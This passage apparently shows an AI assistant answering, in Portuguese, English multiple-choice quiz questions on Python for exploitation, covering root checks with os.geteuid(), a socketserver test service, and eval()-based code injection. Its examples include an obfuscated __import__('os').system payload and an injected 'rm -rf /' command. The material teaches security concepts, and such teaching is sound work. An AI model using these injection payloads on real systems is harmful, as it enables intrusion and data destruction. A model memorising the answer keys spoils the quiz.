✅ **Resposta final: D) Returns the OS name (e.g., Windows, Linux)**

7. What is the output of os.geteuid() useful for in exploitation?

- ◯ A) Checking if running as root
- ◯ B) Generating shellcode
- ◯ C) Connecting to a database
- ◯ D) Evading detection

✅ **Resposta correta: A) Checking if running as root**

Explicação

A função **os.geteuid()** retorna o **Effective User ID (EUID)** do processo atual no Linux/Unix.

- **UID 0 = root**
- Qualquer outro número = usuário normal

Em scripts de **exploit ou pós-exploração**, isso é usado para verificar se houve **privilege escalation**.

Exemplo

```
import os

if os.geteuid() == 0:
    print("Running as root")
else:
    print("Not root")
```

Exemplo de saída

```
Running as root
```

Por que isso é útil em exploitation?

Após explorar uma vulnerabilidade, o script pode verificar se ganhou **privilégios de root**:

```
if os.geteuid() == 0:
    print("[+] Privilege escalation successful")
```

Por que as outras estão erradas?

- **B) Generating shellcode** ❌ Não tem relação com shellcode.
- **C) Connecting to a database** ❌ Não é função de banco de dados.
- **D) Evading detection** ❌ Não é mecanismo de evasão.

✅ **Resposta final: A) Checking if running as root**

8. How can you simulate a vulnerable service in Python for testing?

- ◯ A) Use string.Template
- ◯ B) Use multiprocessing
- ◯ C) Use random
- ◯ D) Use socketserver

✅ **Resposta correta: D) Use socketserver**

Explicação

O módulo **socketserver** do Python permite criar **servidores TCP/UDP simples**, o que é muito útil para **simular serviços vulneráveis** durante testes de exploração.

Ele permite:

- Criar **servidores TCP rapidamente**
- Simular **banners vulneráveis**
- Testar **exploits**
- Criar **serviços intencionalmente inseguros**

Exemplo simples

```
import socketserver

class VulnerableService(socketserver.BaseRequestHandler):
    def handle(self):
        self.request.sendall(b"Welcome vulnerable service\n")
        data = self.request.recv(1024)
        self.request.sendall(b"You sent: " + data)

server = socketserver.TCPServer(("0.0.0.0", 9999), VulnerableService)
server.serve_forever()
```

Esse servidor:

- Abre a porta **9999**
- Recebe dados do cliente
- Responde com o conteúdo recebido

Perfeito para **testar exploits, fuzzing e scanners**.

Por que as outras estão erradas?

- **A) string.Template** ❌ Usado para **formatação de strings**.
- **B) multiprocessing** ❌ Usado para **processamento paralelo**, não para criar serviços.
- **C) random** ❌ Apenas gera **números aleatórios**.

✅ **Resposta final: D) Use socketserver**

9. What does this code do: eval("__import__('os').system('whoami')")?

- ◯ A) Obfuscates and runs a shell command
- ◯ B) Encrypts a file
- ◯ C) Dumps memory
- ◯ D) Crashes the script

✅ **Resposta correta: A) Obfuscates and runs a shell command**

Explicação

O código:

```
eval("__import__('os').system('whoami')")
```

faz três coisas:

1️⃣ **eval()** executa uma string como código Python.

2️⃣ **import('os')** importa o módulo os dinamicamente (forma obfuscada de import os).

3️⃣ **.system('whoami')** executa um comando do sistema.

Ou seja, o código é equivalente a:

```
import os
os.system("whoami")
```

Resultado

O comando **whoami** será executado no sistema operacional e retornará o usuário atual.

Exemplo de saída:

```
root
```

ou

```
kali
```

Por que isso aparece em exploits?

Esse padrão é comum em:

- **Remote Code Execution (RCE)**
- **SSTI (Server-Side Template Injection)**
- **Python sandbox bypass**
- **Payloads ofuscados**

Porque **import**() permite **importar módulos mesmo quando import é bloqueado**.

Por que as outras estão erradas?

- **B) Encrypts a file** ❌
- **C) Dumps memory** ❌
- **D) Crashes the script** ❌

Nada disso acontece.

✅ **Resposta final: A) Obfuscates and runs a shell command**

10. What's a risk of using eval() in Python exploits?

- ◯ A) Code injection vulnerability
- ◯ B) Permission error
- ◯ C) OS crash
- ◯ D) Network timeout

✅ **Resposta correta: A) Code injection vulnerability**

Explicação

A função **eval()** executa uma **string como código Python**.

Se o conteúdo passado para eval() vier de **entrada não confiável**, um atacante pode **injetar código arbitrário**.

Exemplo perigoso:

```
user_input = input("Enter expression: ")
eval(user_input)
```

Um atacante poderia digitar:

```
__import__('os').system('whoami')
```

ou

```
__import__('os').system('rm -rf /')
```

Nesse caso o código **seria executado diretamente pelo Python**.

Por que isso é um problema em exploits

Embora exploits às vezes usem eval() para executar payloads, ele também:

- facilita **Remote Code Execution (RCE)**
- permite **code injection**
- quebra **sandbox environments**

Por isso eval() é considerado **extremamente inseguro** quando usado com dados externos.

Por que as outras opções estão erradas?

- **B) Permission error** ❌ Não é o risco principal.
- **C) OS crash** ❌ Não é comportamento típico.
- **D) Network timeout** ❌ Não tem relação.

✅ **Resposta final: A) Code injection vulnerability**